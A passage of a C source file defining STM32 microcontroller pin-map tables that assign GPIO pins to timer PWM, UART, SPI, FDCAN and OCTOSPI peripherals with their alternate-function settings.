{PB_2, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 4, 1)}, // TIM8_CH4N
// {PB_3, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 2, 0)}, // TIM2_CH2
{PB_4, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 1, 0)}, // TIM3_CH1
{PB_5, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 2, 0)}, // TIM3_CH2
{PB_6, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 1, 0)}, // TIM4_CH1
{PB_6_ALT1, TIM16, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM16, 1, 1)}, // TIM16_CH1N
{PB_7, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 2, 0)}, // TIM4_CH2
{PB_7_ALT1, TIM17, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM17, 1, 1)}, // TIM17_CH1N
{PB_8, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 3, 0)}, // TIM4_CH3
{PB_8_ALT1, TIM16, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM16, 1, 0)}, // TIM16_CH1
{PB_9, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 4, 0)}, // TIM4_CH4
{PB_9_ALT1, TIM17, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM17, 1, 0)}, // TIM17_CH1
// {PB_10, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 3, 0)}, // TIM2_CH3
// {PB_11, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 4, 0)}, // TIM2_CH4
{PB_13, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 1, 1)}, // TIM1_CH1N
{PB_13_ALT1, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 1)}, // TIM15_CH1N
{PB_14, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 2, 1)}, // TIM1_CH2N
{PB_14_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 2, 1)}, // TIM8_CH2N
{PB_14_ALT2, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 0)}, // TIM15_CH1
{PB_15, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 3, 1)}, // TIM1_CH3N
{PB_15_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 3, 1)}, // TIM8_CH3N
{PB_15_ALT2, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 2, 0)}, // TIM15_CH2
{PC_5, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 4, 1)}, // TIM1_CH4N
{PC_6, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 1, 0)}, // TIM3_CH1
{PC_6_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 1, 0)}, // TIM8_CH1
{PC_7, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 2, 0)}, // TIM3_CH2
{PC_7_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 2, 0)}, // TIM8_CH2
{PC_8, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 3, 0)}, // TIM3_CH3
{PC_8_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 3, 0)}, // TIM8_CH3
{PC_9, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 4, 0)}, // TIM3_CH4
{PC_9_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 4, 0)}, // TIM8_CH4
{PD_0, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 4, 1)}, // TIM8_CH4N
{PD_12, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 1, 0)}, // TIM4_CH1
{PD_13, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 2, 0)}, // TIM4_CH2
{PD_14, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 3, 0)}, // TIM4_CH3
{PD_15, TIM4, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM4, 4, 0)}, // TIM4_CH4
{PE_0, TIM16, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM16, 1, 0)}, // TIM16_CH1
{PE_1, TIM17, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM17, 1, 0)}, // TIM17_CH1
// {PE_3, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 1, 0)}, // TIM3_CH1
{PE_4, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 2, 0)}, // TIM3_CH2
{PE_5, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 3, 0)}, // TIM3_CH3
{PE_6, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 4, 0)}, // TIM3_CH4
{PE_8, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 1, 1)}, // TIM1_CH1N
{PE_9, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 1, 0)}, // TIM1_CH1
{PE_10, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 2, 1)}, // TIM1_CH2N
{PE_11, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 2, 0)}, // TIM1_CH2
{PE_12, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 3, 1)}, // TIM1_CH3N
{PE_13, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 3, 0)}, // TIM1_CH3
{PE_14, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 4, 0)}, // TIM1_CH4
{PE_15, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM1, 4, 1)}, // TIM1_CH4N
{PF_6, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 1, 0)}, // TIM5_CH1
{PF_7, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 2, 0)}, // TIM5_CH2
{PF_8, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 3, 0)}, // TIM5_CH3
{PF_9, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 4, 0)}, // TIM5_CH4
{PF_9_ALT1, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 0)}, // TIM15_CH1
{PF_10, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 2, 0)}, // TIM15_CH2
{PG_9, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 1)}, // TIM15_CH1N
{PG_10, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 0)}, // TIM15_CH1
// {PH_10, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 1, 0)}, // TIM5_CH1
// {PH_11, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 2, 0)}, // TIM5_CH2
// {PH_12, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 3, 0)}, // TIM5_CH3
// {PH_12_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 4, 1)}, // TIM8_CH4N
{PH_13, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 1, 1)}, // TIM8_CH1N
{PH_14, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 2, 1)}, // TIM8_CH2N
{PH_15, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 3, 1)}, // TIM8_CH3N
{PI_0, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 4, 0)}, // TIM5_CH4
{PI_2, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 4, 0)}, // TIM8_CH4
// {PI_5, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 1, 0)}, // TIM8_CH1
{PI_6, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 2, 0)}, // TIM8_CH2
{PI_7, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 3, 0)}, // TIM8_CH3
{NC, NP, 0}
};
#endif
//*** UART ***
#ifdef HAL_UART_MODULE_ENABLED
WEAK const PinMap PinMap_UART_TX[] = {
{PA_0, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
{PA_2, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PA_2_ALT1, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PA_7, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PA_9, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{PB_6, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
// {PB_10, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
// {PB_11, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PC_1, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PC_4, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PC_10, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
{PC_10_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PC_12, UART5, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART5)},
{PD_5, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PD_8, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PG_7, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PG_9, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{NC, NP, 0}
};
#endif
#ifdef HAL_UART_MODULE_ENABLED
WEAK const PinMap PinMap_UART_RX[] = {
{PA_1, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
{PA_3, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PA_3_ALT1, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PA_5, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PA_10, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
// {PA_15, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_USART2)},
{PB_7, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
// {PB_10, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
// {PB_11, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PC_0, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PC_5, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PC_11, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
{PC_11_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PD_2, UART5, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART5)},
{PD_6, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PD_9, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PG_8, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PG_10, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{NC, NP, 0}
};
#endif
#ifdef HAL_UART_MODULE_ENABLED
WEAK const PinMap PinMap_UART_RTS[] = {
{PA_1, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PA_12, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
// {PA_15, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
// {PA_15_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PB_1, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PB_1_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
// {PB_3, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{PB_4, UART5, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART5)},
{PB_12, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PB_14, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PD_2, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PD_4, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PD_12, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PG_6, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PG_12, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{NC, NP, 0}
};
#endif
#ifdef HAL_UART_MODULE_ENABLED
WEAK const PinMap PinMap_UART_CTS[] = {
{PA_0, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PA_6, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PA_6_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PA_11, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{PB_4, USART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART1)},
{PB_5, UART5, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART5)},
{PB_7, UART4, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_UART4)},
{PB_13, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{PB_13_ALT1, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PD_3, USART2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART2)},
{PD_11, USART3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF7_USART3)},
{PG_5, LPUART1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF8_LPUART1)},
{NC, NP, 0}
};
#endif
//*** SPI ***
#ifdef HAL_SPI_MODULE_ENABLED
WEAK const PinMap PinMap_SPI_MOSI[] = {
{PA_7, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PA_12, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PB_5, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PB_5_ALT1, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PB_15, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PC_1, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_SPI2)},
{PC_3, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PC_12, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PD_4, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PD_6, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI3)},
{PE_15, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_4, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PI_3, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{NC, NP, 0}
};
#endif
#ifdef HAL_SPI_MODULE_ENABLED
WEAK const PinMap PinMap_SPI_MISO[] = {
{PA_6, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PA_11, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PB_4, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PB_4_ALT1, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PB_14, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PC_2, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PC_11, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PD_3, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PE_14, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_3, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_10, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PI_2, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{NC, NP, 0}
};
#endif
#ifdef HAL_SPI_MODULE_ENABLED
WEAK const PinMap PinMap_SPI_SCLK[] = {
{PA_1, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PA_5, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
// {PA_9, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_SPI2)},
// {PB_3, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
// {PB_3_ALT1, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
// {PB_10, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PB_13, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PC_10, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PD_1, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PD_3, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_SPI2)},
{PE_13, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_2, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_9, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PI_1, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{NC, NP, 0}
};
#endif
#ifdef HAL_SPI_MODULE_ENABLED
WEAK const PinMap PinMap_SPI_SSEL[] = {
{PA_4, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PA_4_ALT1, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
// {PA_15, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
// {PA_15_ALT1, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PB_0, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PB_9, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PB_12, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PD_0, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{PE_12, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_5, SPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI1)},
{PG_12, SPI3, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_SPI3)},
{PI_0, SPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_SPI2)},
{NC, NP, 0}
};
#endif
//*** FDCAN ***
#ifdef HAL_FDCAN_MODULE_ENABLED
WEAK const PinMap PinMap_CAN_RD[] = {
{PA_11, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PB_8, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PD_0, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PF_7, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PH_14, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{NC, NP, 0}
};
#endif
#ifdef HAL_FDCAN_MODULE_ENABLED
WEAK const PinMap PinMap_CAN_TD[] = {
{PA_12, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PB_9, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PD_1, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PF_8, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{PH_13, FDCAN1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_NOPULL, GPIO_AF9_FDCAN1)},
{NC, NP, 0}
};
#endif
//*** No ETHERNET ***
//*** OCTOSPI ***
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA0[] = {
// {PB_1, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO0
// {PE_12, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO0
// {PF_0, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF5_OCTOSPI2)}, // OCTOSPIM_P2_IO0
{PF_8, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO0
// {PI_3, OCTOSPI2, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF6_OCTOSPI1)}, // OCTOSPIM_P2_IO0
{NC, NP, 0}
};
#endif
#ifdef HAL_OSPI_MODULE_ENABLED
WEAK const PinMap PinMap_OCTOSPI_DATA1[] = {
// {PB_0, OCTOSPI1, STM_PIN_DATA(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF10_OCTOSPI1)}, // OCTOSPIM_P1_IO1
